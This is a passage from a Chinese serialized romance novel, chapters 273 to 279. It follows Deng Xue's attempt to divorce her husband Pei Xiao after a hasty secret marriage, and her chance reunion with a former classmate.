邓雪找律师起草了一份离婚协议书。
她想,她应该主动结束这段关系,而不是被动的等通知。
江城。
收到离婚协议书的男人,仔细的将每个字,都看的很清楚。
然后就扔到了桌上。
霍时序看了他一眼,便将离婚协议收拿到手上看。
意外也不意外。
“你还真跟邓雪领证了?瞒的可够严实的,不过……这才领证几天啊,怎么闹上离婚了?”
裴啸抽了根烟,递到唇上,神色黯淡,“有误会。”
“什么误会?你和施家的误会?”
裴啸的父亲,和施培生最近走的很亲近。
好像在商量着两家的婚事。
那个施晓更不用说,一天跑好几趟润合集团,就差一点把自己栓在裴啸腰上了。
论条件。
施晓比邓雪不知道强多少倍。
但……
裴啸更有自己的想法,“我和施家不会订婚,更不会结婚。”
“你还能拗得过你爸?”
裴啸吸了口烟,落寞的笑了笑,“确实拗不过,那就拖,我暂时不想把我结婚的事情,告诉他,免得他去找邓雪的麻烦。”
“现在不是你要不要告诉的问题,现在是人家邓雪不想跟你了……”这离婚协议书,写的很清楚,“……她说你们之间感情破裂,没有挽回的余地,你怎么想的?”
“她也不过是一个正常的女人。”他低头笑了笑。
霍时序没听明白什么意思,“啥意思?你跟她领证的时候,她不正常?”
“你不懂。”
霍时序:……他不懂?他都生三个了,他不懂男女之事?
“那你接下来,要怎么应付,这个离婚协议?是昭告天下,还是继续隐婚?”
第274章 爱情的苦不能只我一个人吃
裴啸:……接下来,应该是跑一趟海城。
哪有一纸离婚协议书,就结束一段关系的。
“我去海城,你去吗?不如你叫上南伊,咱们一起去?”
霍时序立马明白裴啸的意思,“怕自己搞不定吧?也不是不行,但我有什么好处?”
“好处就是,我会劝南伊跟你好好过日子。”裴啸抬起下巴,笑的别有深意。
霍时序:……他说的不像是什么好话。
“裴啸,你这个人,还真的是……,你都结婚了……”霍时序气得咬牙切齿,“……行,我可以陪你过去,但南伊,我得问问她,有没有时间。”
“可以。”
裴啸想让宋南伊给她当和事佬。
他和邓雪结婚这事,霍时序就得跟宋南伊如实说。
宋南伊的反应,跟霍时序想的差不多。
震惊,不可思议。
“领证了?什么时候的事情啊?我怎么一点风声都没有听到?”
“我也是今天刚知道,还是因为邓雪寄了离婚协议给裴啸。”霍时序有点幸灾乐祸地笑着,“没想到,他也有今天,你说他是不是个恋爱**?”
“裴啸哥可能考虑的比较多吧。”有时候过于谨慎,过于的不想让对方担心,就会让对方认为,自己的存在,可有可无。
尤其是像邓雪这样的。
她应该在骨子里,认为自己配不上裴啸。
“怪不得,邓雪说永远不回江城了,应该是在裴啸哥那儿……吃了委屈了吧。”
“裴啸能有什么委屈给她吃?夫妻之间,缺的是沟通,而且……你就没觉得,他们两人个,结婚结的太仓促了吗?我都没听说他们恋爱,突然就……”
“不是每个人,都经历恋爱的过程,看来,我当初想把邓雪介绍给他的时候,两个人就已经有意了。”这个不难想通。
遇到合适的人,就闪婚的比比皆是。
她就说,他们两个还挺般配的。
“那你要跟我们去海城吗?”霍时序问她。
宋南伊最近工作很多,但为了促成裴啸哄妻,她愿意挤一点时间,“去吧,我好好劝劝邓雪,她还是听我的话的。”
“爱情这事,怎么可以勉强呢,你还是少劝,万一以后,他们不幸福,这账要算到你头上。”
宋南伊觉得无所谓。
但行好事,莫问前程。
“我觉得他们不可能分手,邓雪的性格我是了解的,而且裴啸哥又沉稳成熟,他们真的很合适,一定是有误会,比如说那个施家,误会解开就好了。”
霍时序将手垫在脑后,慵懒地靠在沙发上,淡笑着看向宋南伊,“我倒是希望裴啸的恋爱坎坷一些,这爱情的苦,不能只我一个人受啊。”
“你吃什么爱情的苦了?”宋南伊扭过脸来问他。
“那吃的苦多了去了,我死过多少次,你忘了?没人再比我坎坷了吧。”他大手将她捞到自己的身前,“老婆,你现在对裴啸,还有没有那种意思?”
“哪种意思?”她歪着小脸。
“就是……年少悸动的那种意思。”
宋南伊无语,故意气他,“有啊,我现在见了裴啸哥,还想跟他……你懂的。”
“宋南伊,你找死是不是?”他抱起女人,从沙发上起身,就往二楼走,“我告诉你,我现在生气了,很生气,你想想一会儿怎么让我消气吧。”
“霍时序,你真的很幼稚,你要有裴啸哥一半的成熟,你也不至于追你老婆,三生三世。”
“你夸他是吧,宋南伊,一会儿别后悔。”
……
裴啸去海城的第一件事情。
就是给邓雪发了个位置消息。
一家还不错的会所餐厅。
胜在私密性强。
她没有想到裴啸会这么快过来,有一点茫然,但还是同意了见面。
离婚这事,是不能仅凭一张离婚协议就解决的。
面对面的,说清楚,这是对彼此最大的尊重。
“莫尼卡,我一会儿要去见个人,下午可能回来的要晚一些,会议推迟。”
“好的邓总。”
邓雪回家换了件衣服。
对着镜子,她化了个淡妆。
裴啸不喜欢她戴黑框眼镜,她便换了无框的眼镜,现在倒也看习惯了这样的自己。
她是有一些紧张的。
去会所停车的时候,她差一点蹭了别人的车。
有服务生小姐姐,带她去包厢。
路上,邓雪的心,跳的厉害。
有恐慌,有忐忑,更多的是她怕一会
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儿,不知道该如何讲清楚,离婚这件事情。
“小姐,请进吧。”
服务生小姐姐将门拉开。
邓雪弯身,抬眸,就看到里面坐着三个人。
除了裴啸,还有霍时序和宋南伊。
她一时惊愕。
脚不知道该往里迈,还是该往回缩。
“老板……,霍总。”她还是礼貌的打了招呼。
宋南伊微笑起身,将她的小手握住,“正好裴啸哥要来海城,我们就跟着一起过来了,既然大家都认识,就约在一起吃个饭,你别紧张。”
“不,不会。”她不是紧张。
她猜,宋南伊应该已经知道了,她和裴啸的关系。
这挺尴尬的。
她本来是想着,在别人还不知道的情况下,就将婚离掉。
这样,以后见了面,不至于太……
“我们粗点了几道菜,你看你还有什么想吃的。”霍时序将平板递给了邓雪。
她诚惶诚恐的接过来,浅浅的放到一旁,“我都可以的,你们随意就好。”
“邓雪,今天是熟人局,不是上司跟下属,你别拘谨。”宋南伊将邓雪摁坐在了裴啸身边的位置上,“裴啸哥,你一会儿呢,负责给邓雪夹菜。”
用餐中,大家都是有话没话的,找话跟邓雪讲。
邓雪吃的不多。
心里想着要跟裴啸聊离婚的这件事情,也暂且搁置。
两个男人喝了些酒。
用餐结束后。
宋南伊和霍时序打车走了。
邓雪扶着裴啸,往自己的车旁走,费力巴啦的,将他挪到车上。
裴啸没说他住在哪家酒店。
邓雪只好将他带回了自己的家。
邓母看到裴啸,先是惊讶,而后帮着邓雪将裴啸送进了她的卧室里。
“他什么时候来的?怎么还喝醉了呀?”邓母小声询问。
邓雪一无所知的摇头,“不清楚。”
“怎么会不清楚呢?他来海城,没有跟你讲吗?小雪,你们是夫妻啊,不管怎么说,你们之间这样不沟通,是不行的。”
邓母是希望邓雪和裴啸能好。
但邓雪,对两个人的关系,已经没什么信心,“妈,他这次过来,是跟我聊离婚的事情的,这事您就别操心了。”
第275章 我这个人很保守,一般不离婚
邓母没再说什么。
只是心疼。
邓雪倒了杯水,走进卧室,放到床头上。
裴啸的脸很红。
看他今天,也没有喝多少,不至于醉成这样。
有些可笑。
她对他不了解到,连他能喝几杯酒,也不清楚。
闪婚对大多数人来说,是无法适应和走下去的。
她和裴啸也不例外。
裴啸眉心微动了动。
邓雪一时有些无措。
刚要起身离开,就被捉住了手腕,“别走。”
“你……醒了,喝点水吧。”她将水杯递给了他。
他听话地喝了两口,目光定定的落到了邓雪的脸上。
回到家的邓雪,无论是穿着打扮,还是状态,都透着几分从容,不像工作时那般的庄重和拘束。
他喜欢她轻松的样子。
像个温婉的小女人。
“我来海城,没有提前跟你讲,是怕你知道有霍时序和宋南伊在,你不会来。”
邓雪确实有些介意。
但又觉得,没有资格去介意这些。
“你来海城,是为了离婚协议书来的吧?”她淡淡的看向床上的男人,“我已经让律师写的很清楚了,我什么也不要,裴啸,在结婚这事上,我们真的不应该那么冲动,我也真的是……后悔了。”
“后悔什么?”他拧眉。
邓雪胸口起伏,“后悔自己太不自量力,后悔觉得自己可以有驾驭你的能力,后悔……”
她浅浅摇头。
她后悔的事情太多了。
现在讲这些,也没有任何的意义。
“裴啸,总的来说,我们两个不太般配,对婚姻也太儿戏,你是裴家的继承人,你有宏观的布局,考虑的事情比较多,我真的特别能理解。婚姻对于你这样的人来说,是一件很重要的事情,不应该如此的草率,我觉得你有再选择的权利,我选择退出。”
她说这些不是自我牺牲。
是这个婚姻再继续下去,对她而言,也没有多大的意义。
“还有,我准备在海城定居了,大概率不会再回江城,或许,在海城,我会遇到一段属于我的缘分,就算没有,也没关系,本来,我也是打算跟我妈一起生活一辈子的。”
伴侣这种东西,有的时候,没有比有好。
起码,不会耗自己的精气神。
她已经把话说的很清楚了。
裴啸是要脸面的人,她还可以退一步,“知道我们结婚的人,我这边是没有的,如果你那边有,你就跟他们讲,说你甩了我就好,别丢你的脸。”
裴啸眉心越拧越紧。
蓦地笑了。
“看来,离婚这事,你已经深思熟虑了很久。”
邓雪点头,没有否认,“是的。”
“那如果说,我没有离婚的打算呢?”他望着她回避的小脸,怕她装不懂,又说,“领证的时候,我就说过,我这个人很保守,结了,一般不离。”
“我记得。”她抬眸看向他,“现在的情况是,我不会再回江城,我们也不可能一直分居,况且,你在江城也应该有了合意的联姻对象,离婚,对于你和我来说,都是最好的解除关系的方式,我觉得你没必要坚持,不必要的坚持。”
“那是误会。”他依然平静,冷淡。
对于这段婚姻,他从来就是淡如白开水。
当然,除在了床上。
可这又能代表了什么?
“我不认为这是误会,那是你要走的路,且一定会走的路,我们不谈别人,就说我们自己,现阶段,已经不适合再生活在一起,我希望裴总你……高抬贵手。”
高抬贵手,四个字,把裴啸激怒了。
他向来冷持。
如今,被分手,还要高抬贵手放过别人。
这世上,还有没有讲理的事情了。
他扣住她的手腕,轻轻一带,她便被带到床上。
翻身,将她压在身下。
“你甩我,我高抬贵手?邓雪,我怎么不知道,你还有这一面呢?”
邓雪挣扎了一下,没推开他,有些恼了,“裴总是说我用词不当?那你觉得怎样讲合适,这话可以由你来讲。”
“我说了,结了婚,我一般不离。”
“那是一般,二般三般四般呢?谁能保证婚姻就一定要长久的?难道,裴总非要把绿帽子戴头上,才肯结束这段没有感情的,冲动式的婚姻吗?”
他墨眸微眯,看向她通红的眼睛,“你心里的不满和委屈,很多?”
邓雪不怨别人,只会怨自己,太冲动。
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婚姻确实是需要冲动,但前提是,在感情的基础上。
错就错在,她和裴啸只是床伴的关系……
不,还算不上床伴。
只上过两三次床而已,怎么突然就结婚了呢,想想都觉得可笑。
“我没有资格这样想。”
裴啸放开了邓雪。
但他没有改变自己的决定,“我不打算离婚,如果你坚持要离,那就去起诉吧。”
“何必呢。”她没有那个精力,“打起官司来,江城所有的人,都会知道你结过婚了,那样对你,对裴家能有什么好处?你能不能冷静一些,我又没说要分你的财产,你何必要计较这个呢。”
“这是计较吗?”他很少生气。
也足够冷静。
但邓雪左一句,右一句地往他腰上插刀子。
他真的是上来脾气了,“邓雪,正常人,不可能,一结婚马上离婚,你不过是觉得你受了委屈,不过是觉得我和施家站在一起,没有给你解释,你在心里否定了在我心里的位置,所以,你才把婚姻当成了儿戏。”
邓雪:……
她承认,他说对了一半。
但她从来没觉得委屈过。
自始至终,她没认为,自己有委屈的资格,“你这样想,就是这样的吧,就当我不是个正常人,实话说,我觉得结婚对我没有半点好处,还是单身适合我。”
裴啸气笑了。
他还真不知道,邓雪拗起来,不一般。
“单身不适合我,我还是适合有老婆。”
“当然,你可以再娶,我对此毫无意见。”如果真要走诉讼的流程,她希望他能明白,会带来的连锁反应,“那我抽个时间跟我的律师说一下,让他帮忙提交一下离婚诉讼,后果……你自己负责,我可负不起。”
“一段婚姻出了问题,你我都有责任,如果你想起诉我离婚,我就起诉你骗婚,如何?”
别怪他卑鄙。
他不卑鄙,只是想吓住她。
在他心里,婚姻真的不是儿戏。
有问题,他愿意解决,而不是随意的结束一段关系。
果然。
邓雪的眼眶瞬间红透,“我哪里有骗你婚了?我连枚婚戒都没有,我骗你什么了?你说话,得讲道理。”
第276章 夫妻睡一起能干什么
“你跟我讲道理吗?”他不擅长吵架,“是你要甩了我,你还在委屈上了?邓雪,你真的不知道,我为什么要跟你结婚吗?”
邓雪知道。
就是为了上那两次床负责。
就是觉得她的第一次给了他,他过意不去。
是他先把婚姻当成儿戏的。
“我知道。”
“那你说,我为什么要跟你结婚?”他反问。
邓雪咬了咬唇,“为了买自己心理上的安慰,真的裴啸,大可不必,你又不是没交过女朋友,你要想买自己心理上的安慰,你大可以跟你的前女友结婚,我……真的……”
她要如何说,他才能明白。
她真的不是非要他负责,她本来就对婚姻没有渴望。
“邓雪,你说的这叫人话吗?我们之间的事情,你扯别人干什么?”
她是奔着把他气死来的。
裴啸深呼吸,不让自己激动,“既然你知道我和前女友的事情,你就知道,我在婚姻这件事情上,并不是一个随便的人,我跟你结婚,只是认为我们适合在一起生活,你所说的安慰,不是被你一百块买断了,忘了?”
邓雪被怼的哑口。
只能用距离说事,“你在江城,我在海城,这么远,别说我们没有感情基础,就算是有感情基础,也会淡的,我觉得,不如早结束的好。”
这样不妨碍他,也不妨碍她。
“距离不是问题。”他真的有点困了,扯过邓雪来,抱住,“跟你吵了这么久架,真是累了,只此一次,下不为例。”
他不喜欢爱吵架的女人。
他已经跟夏北柠,吵得够够的。
邓雪:……
她怎么有点懵呢。
离婚的事情,就这么莫名其妙的搁置了?
这晚。
裴啸是在邓雪家里留宿的。
邓母看他的眼神很怪。
谈不上陌生和熟络,总是一副欲言又止的样子。
她向来觉多,但还是等到邓雪去洗澡,准备跟裴啸聊一下。
“裴先生。”
“妈,叫我阿啸就好。”裴啸微微勾唇。
这声妈,叫的邓母有点尴尬。
“可别这么客气,裴先生……我还是叫你裴先生吧。”反正很快就离了,她也不想过于亲近,“裴先生,你跟我们家小雪,怎么突然就结了婚?据我所知,小雪跟你不算很熟。”
“妈,我觉得她挺适合我的。”
邓母不懂什么叫适合。
她的女儿,从小到大,其实一直活得很委屈。
她是希望女儿可以找个能宠着她,不给她吃委屈的男人,“那你有没有想过,你适不适合她?”
裴啸微怔。
他确实是没有想过这个问题。
他认为女方不排斥的行为,就是性事上。
她很享受他带给她的愉悦感,他认为,她是喜欢他的,如他喜欢她一样。
“抱歉,这个我不太清楚。”
“说实在的裴先生,我能过上这样的好日子,全凭我们家小雪争气,可她吃了太多的苦了……”邓母一想到邓雪小时候,心里就泛酸,“……知道她为什么一直单身,连个男朋友都没有过吗?”
裴啸摇头。
邓母叹息,“是因为,我的婚姻中充满了欺骗,暴力,打骂,她的父亲,经常把我们赶出家门,还会带不同的女人回家睡觉,她就在那样的环境里长大的,她肯跟你结婚,是对你充满了多大的信任……”
说到这儿。
邓母又觉得说太多了。
好像要博多少同情似的。
“裴先生,我不是让你为难,你们离婚,我不反对,毕竟我们这样的人,也配不上你这样的贵公子,只要你啊,在这短短的婚姻中,你没有欺负过她,就够了。”
裴啸沉默了。
他对邓雪的过去的人生,并没有完全了解过。
这也是他第一次,坐下来,跟邓母说几句话。
作为女婿,他是不合格的。
“妈,婚姻如果谈般配,这世上,谁又能配得上谁呢?就算配得上,就一定能幸福吗?我和邓雪她……缺少沟通是真的。”
邓母点头。
裴啸肯有这样的态度,她是开心的。
说明,他还不是一个不负责的人。
但,这也并不代表,这段婚姻就可以持续下去。
“裴先生,我希望你们好,我更希望小雪她能快乐。”
“我明白。”
邓雪洗澡出来,裴啸已经上了床。
她擦着头发,一声不吭地拿起吹风机来吹。
他就那样淡淡的望向她。
直到她放下吹风机,他才出声,“我会在海城呆三天,这三天,我陪你,哪儿也不去。”
邓雪错愕。
不解他的用意,“陪我?裴啸,我不需要人陪,我
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还要上班,你要没什么事情,就赶紧回江城吧。”
“我大老远来,呆一晚,你就让我回去?”
邓雪沉默。
她虽没再提离婚的事情。
但,也不可能把这事,当没发生一般。
那就等他和施家订了婚,她再提吧,那时,他应该也没什么可说的了。
“你愿意留,就留吧,我没时间陪你。”
邓雪有些冷淡。
上床时,也抱了另外一床被子,看样子,是不想跟裴啸发生些什么。
“我还没见过,哪家的夫妻,是盖两床被子的。”他语气清淡,却透着一丝不易察觉的……愠怒。
邓雪哦了一声,翻身背对着他,“我睡觉不老实,护被子,我怕你晚上着凉,还是分开更好一些。”
他真的被气到了。
灯关掉后。
他厚着脸皮,钻进了邓雪的被窝。
邓雪吓着了。
随即打开了床头灯,将被子揪紧,“你要干什么?”
“你这么紧张干什么?邓雪,我们是夫妻,你说夫妻睡一起能干什么?”
他扣住她的手腕,举过头顶。
俯下身来,去吻她的唇。
邓雪没有反抗,但也没有沉溺,就像每一次,她和他在一起一样,全程都是他占主动。
“给点反应行吗?”
邓雪心里有结,很难投入,“裴啸,你会爱上我吗?”
她知道相爱这种要求,是挺让人为难的。
女人就是这样的贪心。
哪怕下一秒两个人分开,她也想知道,这一秒他对她有没有一点点的动心。
“裴啸,你说喜欢会变成爱吗?在爱与利益之间,你会怎么选择呢?”
她望着他的眼睛。
瞳孔轻颤着。
她想知道答案,她又害怕听到答案。
而他……也没有给出答案。
“你啊……总是想太多。”他吻了吻她的唇,轻轻柔柔的说,“我做任何事情,都不会改变我们的关系,生意场上,很多事情都是逢场作戏,你是知道的。”
她睫毛颤抖着,“上床也算吗?”
“跟你上床不算。”他希望她明白,很多事情,都是假亦真,真亦假,“别想太多,婚姻就是对你最大的保证,不是吗?”
邓雪不懂。
婚姻对她能保证什么。
“裴啸,你会跟别的女人上床吗?”
第277章 没有感情的婚姻全是敷衍
裴啸只是笑。
并没有给出答案。
邓雪懂了。
一脸的自取其辱。
他会的。
且并不把跟女人上床当回事。
只因,他并不爱她。
如果她是他的爱人,他应该抱着她,哄着她说,“傻瓜,我怎么会跟别的女人上床呢,我爱的是你啊。”
邓雪心凉了。
她也淡淡的笑了笑,“裴啸,我有点累,今天就结束吧。”
黑夜。
没有懂她心里的失落和凄凉。
她用了一晚上的时间,让自己的伤口愈合。
彻底死心。
……
清晨。
邓雪很早就到了公司。
她每天忙的像陀螺,好在公司已经步入轨道,往后业务细分,她会忙,但不至于忙到每天连饭都吃不上。
宋南伊来公司时。
邓雪刚好开完会。
二人在办公室里聊了会儿工作。
不自觉地会聊到裴啸身上。
“邓雪,我也是刚知道,你和裴啸哥的事情,但我听时序说,你要跟他离婚啊?为什么?”
邓雪其实是不想聊这件事情。
但宋南伊是她的顶头上司,又对这事关心,她不能不讲。
“因为……,我和他相处不来,领证本来就是一时冲动……”
她面色艰难。
不知道哪些该讲,哪些不该讲。
同为女人,宋南伊自然能理解她内心的挣扎。
“裴啸哥的家世虽然摆在那儿,但这不是你们的阻碍,他这个人,其实还是不错的。”
邓雪淡淡点头,“可能是我们不合适吧。”
“邓雪,感情的事情,我不便多讲,我也是经历过分分合合,知道这里面有多苦,尊重自己内心的选择就好,无论是合还是分,我都会支持你的。”
邓雪感动。
“谢谢你老板。”
“我们今天就回去了,这公司交给你,我一万个放心,就是别太辛苦了,例行回江城汇报工作不用安排的太紧,让自己轻松一些。”
宋南伊拍拍邓雪的胳膊。
给予她最大的包容。
邓雪心口热热的,“我会的老板。”
宋南伊和霍时序离开海城后。
邓雪去外地出差,将裴啸留在了海城。
他离开海城前,给她打过一个电话,她没有接,这么这晾下了。
等邓雪回到江城后。
她收到了某个品牌店送来的一枚戒指。
是裴啸购买的婚戒。
就是那种摆在柜台售卖的款式。
基础的不能再基础。
男士款,他带走了,她拿到手的是一枚女款戒指。
很素的圈。
不是她喜欢的样式,圈口也不合适,她连试都没试,就丢进了办公桌的抽屉里。
没有感情的婚姻全是敷衍,照进现实。
邓雪深呼吸。
给自己一个微笑。
她准备改头换面了。
几天后她约了一个眼科手术,将自己戴了近三十年的眼镜摘掉。
然后给自己接了头发。
顺便染了发色。
衣服不再是千篇一律的黑,也不是裴啸喜欢的名媛风。
是自己喜欢的,舒适风。
“邓总,你像变了一个人哎,今天公司里的人都说,邓总原来这么漂亮,身材这么好,看来还是一身的职业装,将你的美貌束缚住了呢。”
秘书莫尼卡,忍不住赞美。
邓雪淡笑,“人嘛,总不能一成不变。”
“嗯是呢,女人就要把美展现出来,不是有个大佬说,女人的美就是拿来展示的,它可以换取最大的利益,我觉得说的挺对的。”
邓雪笑笑。
对吗?
美貌只是锦上添花,真正得有能力才行。
“也许吧,莫尼卡,今天下发一个通告,以后公司里的女孩子们,都可以穿自己喜欢的衣服来上班。”
莫尼卡差点尖叫。
这对于年轻爱美的女孩,是多大的奖赏。
“我马上去下通知,公司里小姑娘们,肯定会高兴坏了的。”
“去吧。”
……
一恍,邓雪来海城已经半年的时间。
自从上次,裴啸来过以后,便再也没有见过面。
甚至……
电话和信息都没有几个。
他们就像是完全的陌生的陌生人。
邓雪觉得这样挺好的。
分居时间长了,离婚也就好离了。
挑了个风和日丽的天气。
邓雪准备回一趟江城,向宋南伊汇报近期的工作安排。
飞机上。
她开着电脑,在处理出件,以及报表最后的审核。
有人过来跟她打招呼。
“你好小姐,我看你有点面熟,请问……”
搭讪。
邓雪没抬头,“不好意思,我们不认识。”
“你……是不是邓雪啊?”男人直接叫了她的名字。
邓雪这才诧然抬眸,看过去,“你是……”
“吕一威,初中……同桌,记起来了吗?”男人笑着,脸上有两个很令人有好感的酒窝。
邓雪恍然。
看着眼前的男人,
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像,确实有点像。
“吕一威?你原来……二百斤,怎么……,别怪我认不出来,你在我的印象里,还是那个小胖子,好像个头还长了。”
吕一威是她的同桌。
虽然性别不同,但那时他和她,还真是惺惺惺相惜,是分享过一块饼干的战友。
吕一威笑笑,“那时,是因为生病的关系才胖的,邓雪,我们好多年没见过了,看来……你现在生活的相当不错。”
邓雪关上电脑。
将脸转向他,温和,“你不也一样,商务舱都坐上了。”
吕一威不由的想到了,当年他和邓雪,这对难兄难妹。
“当年,我们两个那真叫一个惨,一个没爹妈跑了,生着病,肿得跟个猪头似的,还不知道活几天,一个父亲家暴天天被赶出来睡大街……”
吕一威笑着摇头。
那是他和她惨痛又悲廖的少年时代。
“……好在,我们很争气啊,我们现在过得很好了,不是吗?”
邓雪点头。
是的,他们很争气。
“你还在江城生活吗?”邓雪问他。
吕一威耸肩,笑着说,“四海为家吧,看我老婆将来在哪儿生活,我就跟她在哪儿生活。”
“你有老婆了?”
“还没有,你呢,有老公了吗?”没等邓雪回话,他又补了句,“如果没有,我俩可以凑一对,毕竟我们可是共同战斗过,彼此懂得彼此。”
邓雪恍惚。
找一个了解自己过去,且会心疼她过去的人,真的是再好不过的选择。
可她现在并不是单身。
“算有,也算没有吧。”
吕一威不解,“感情不好?”
“没有感情,闪婚,已经差不多半年不见了吧,这次回江城,我是想跟他再聊聊离婚的事情。”邓雪想着是见裴啸一面的。
吕一威:“那这样的婚姻,确实,不适合再继续走下去,没事,你离了,我们结,我保证对你好。”
邓雪笑了。
像是找回了儿时的美好般的。
“吕一威,你不嫌弃,到时,我是个二婚了?”
“嫌弃二婚这种事情呢,就是父母那一辈的错误认知,我又没爹没妈的,我不嫌弃,要是哪个不长眼的亲戚跑出来,嫌弃我媳妇,我也不能让。”
吕一威还是跟从前一样。
很暖。
“行,等我离了,我就嫁给你,你跟我去海城生活。”
吕一威伸出手指来,跟她拉钩,“那可一言为定。”
“好,一言为定。”
第278章 他拿走了婚戒,但不会戴
交谈中。
邓雪得知吕一威初中毕业后,就没再上学了。
跟着一个亲戚去京城打工。
这么多年,他凭着自己的努力,成立了自己的公司。
小有成就。
邓雪对他赞赏有加,有些可惜的是,他没有去上高中,然后考自己心仪的大学,明明他的成绩很好的。
飞机落地。
邓雪要去YY珠宝。
吕一威也要去见客户,便暂时告别。
邓雪没有想过,一进YY珠宝的大门,首先看到的会是施晓。
紧接着是,站在她身边的裴啸。
她意外,又不意外。
他们应该是一起来订制珠宝的。
看来婚期订下了,够墨迹的,这都半年多了。
施晓上下打量着她。
怎么这人,一下子变漂亮了这么多。
“邓总。”施晓先打了个招呼,“听说你去海城工作了,真是好久不见呢,还想着让你帮着我们确定一下珠宝的款式呢。”
“没关系的,我现在仍然可以帮你。”邓雪微笑着。
施晓笑,“那多不好意思。”
“没关系的,这是我的工作。”邓雪看到小白,将她叫过来,“白秘书,请施小姐和她的未婚夫去贵宾室坐吧,一会儿我亲自招待。”
“好的邓总。”
邓雪微微颔首。
踩着高跟鞋,往宋南伊的办公室走。
施晓看着她的背影,跟裴啸说,“她怎么突然就变这么好看了呢,以前打扮的像个老处女……,不会是恋爱了吧?”
裴啸眉心微压。
恋爱?
他不在,她在跟谁恋爱?
“也许结婚了呢。”
施晓掩唇笑了起来,“看起来好像不像。”
裴啸眸色幽深。
……
邓雪走进宋南伊的办公室。
将分公司的报表,亲自呈报给她。
“目前来说,还不错,老板你放心就行。”
宋南伊拿起报表看了一眼,“你的能力我还是放心的,以后就用电脑提报就行,当然,我的意思不是希望你不回江城,你别多想。”
“当然不会了老板,我这次回来……其实,也是有一些私人的事情要处理。”
宋南伊点头。
并没有过多询问。
“晚上有时间吗?一起吃个饭?”
邓雪委婉拒绝了,“不了老板,我要回家里收拾一些东西,到时带到海城,下次吧,下次我请您。”
“那行吧,我不勉强你。”宋南伊微笑,“哦对了,我听说施晓和裴……,你看到他们了吗?”
“我让小白请去贵宾室了,施小姐想让我亲自接待,一会儿我就过去。”
邓雪很自然。
像要处理平时的工作。
宋南伊看的心酸。
这段时间,江城确实发生了很多事情。
大多关于裴家与施家。
“邓雪,其实有些事情,不是表面看起来那样的,你要给裴啸哥一个解释的机会。”
邓雪淡雅的勾了勾唇,“我没事的老板,先出去工作了。”
她亲自冲了两杯咖啡。
端着走进了贵宾室。
白秘书已经将公司珠宝册拿给了施晓,让她先看着。
看到邓雪进来。
白秘书低声在她耳边说,“这个施小姐,脾气不算太好,要求也挺奇怪的,你小心一点。”
邓雪点头。
将咖啡放到二人面前。
她完全是一副工作的状态。
将电脑打开,“施小姐,你可以说一下你的要求,我这边会按照你的要求,让设计师出设计草稿,然后再跟你的要求,进行修改。”
“邓总,你觉得我和我的未婚夫,适合什么风格的……哦,忘了跟你讲了,我们还要设计一对,有意义的婚戒。”
婚戒两个字,刺耳。
一个随意就买了一枚。
一个订制有意义的。
爱与不爱,就是这样的天差地别。
她不自觉的看向了男人的无名指。
跟她想的差不多。
他拿走了婚戒,但不会戴。
邓雪心口像被攥住了一般,涩疼涩疼的。
稍瞬。
她微笑着抬眸,看向施晓,“二位的身份来讲的话,我建议是钻石款的,女士的戒指用小钻贴满整个戒指,男士的戒指,镶一枚大一些的钻石,比较好看。”
施晓点头。
娇柔的看向裴啸,问他的意见,“裴啸哥,你觉得,怎么样?”
“你喜欢就好。”他递出淡而温柔的笑。
邓雪看的扎眼。
低头在键盘上,将施晓的要求写好。
“邓总,那就按你说的,订制两枚钻戒吧,能刻名字吧?”
邓雪点头,“汉字不行,缩写可以。”
“行,男款
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上刻我名字的缩写,女款戒指上刻裴啸名字的缩写。”
邓雪认真记下,“好的施小姐。”
施晓的要求很多。
每说一条,邓雪都认真核对,最后整理提交给了设计部。
合上电脑,她依然是一副严谨的工作态度。
“施小姐你放心,三天内,设计部会按你的要求,出来草稿,会发到您的手机上,如果您有时间,也可以直接来公司。”
施晓还算满意,“邓总,要说服务还得是你,那我下次来,还是你来招待我吗?”
邓雪并不确定。
只是委婉的说,“看时间安排吧,那时,可能我回海城了。”
“如果邓总回了海城,还真有些遗憾呢。”施晓和裴啸一起起身,“那就这样吧。”
她抱着裴啸的胳膊,歪着头撒娇,“裴啸哥,我有点饿了,咱们去吃西记甜饼好不好?”
“好。”他答应得很痛快。
邓雪依然规矩的将二位,送出公司,“二位慢走。”
她亲自给摁了电梯。
与她们一同下电梯。
“邓总是外出有工作?”
“是。”她没过多解释。
电梯行至一层。
施晓和裴啸走出电梯。
邓雪摁了B2,继续下行。
刚走到门口的男人,折身往回走,“我落下些东西,你先去车里等我。”
“裴啸哥,你快一点哦。”
邓雪刚出电梯的功夫,裴啸也跟着出了电梯,他快走几步,追上她,扣住了手腕,“邓雪。”
邓雪错愕。
不解的望向他,“裴总还有事儿?是刚刚的……”
“不是。”他将她拽到电梯的拐角处,避开了监控,“回江城,怎么不跟我说一声?”
“重要吗?这不是也见到了。”她话里透出讥诮,漂亮的眼睛里透出凉意,“哦,我忘了恭喜裴总订婚快乐了。”
“我有苦衷。”他神色凝重。
她微笑,“我不介意的,裴总无需解释。”
“我们是夫妻,我希望你对我有一点信任,可以吗?”
邓雪抬手替他整理着衣衫,声音温柔,“裴啸,放心去做你想做的事情,我不会对你有任何的要求和阻拦,我只希望,你空出半天的时间,咱们把离婚证领了,我不想在婚姻里当一个受害者,你也无需背负一个负心汉的名声,好吗?”
第279章 结束这段关系
“给我点时间好吗?”他将她拥进怀中。
没有人知道,他承受着多大的压力。
他也不会知道告诉。
“邓雪,你回海城安稳的,等我忙完手头的事情,我会去找你的。”
“裴总,人的这一生,不是用来等的。”她还年轻,她也需要寻找自己的幸福,“我不想等你了裴啸,我想跟你彻底的划清界限,以后,你是你,我是我……”
虽然心口那个地方有点疼。
还好。
这点小伤,她可以自愈。
“快去吧,别让施小姐等久了,引起误会,我可负不起这个责任。”
邓雪轻轻的推开了裴啸。
她微笑着,美的不可方物。
在她转身离开时,他唤住她,“你……是不是恋爱了?”
“怎么这么问?”
他将她上下打量着,“你……变得跟以前不一样了。”
“人总是会变的,裴总不是一直希望我有改变吗?现在变了,反而不好了?”为什么有些规则只是针对一方呢,“况且,裴总不是一直在变吗?”
裴啸沉默了。
邓雪转身离开。
坐进车里,她从后视镜里看着里面的男人,久久……
江城的家,她已经很久没住。
离开时,母亲打扫的很干净,说要租出去,她没让。
这是她赚钱买的第一套房子,她很有感情。
就放着吧,兴许哪天,她就回来了。
晚上,她下了包泡面,吃了几口,就开始收拾一些当初没有带走的东西。
门铃摁响。
她起身去开门。
看到裴啸,她微微有一些错愕,他手上拎着打包的饭菜。
不知道是吃剩的,还是特意准备的。
“你……怎么来了?”
他将饭菜放到餐桌上。
看到了她泡面的碗。
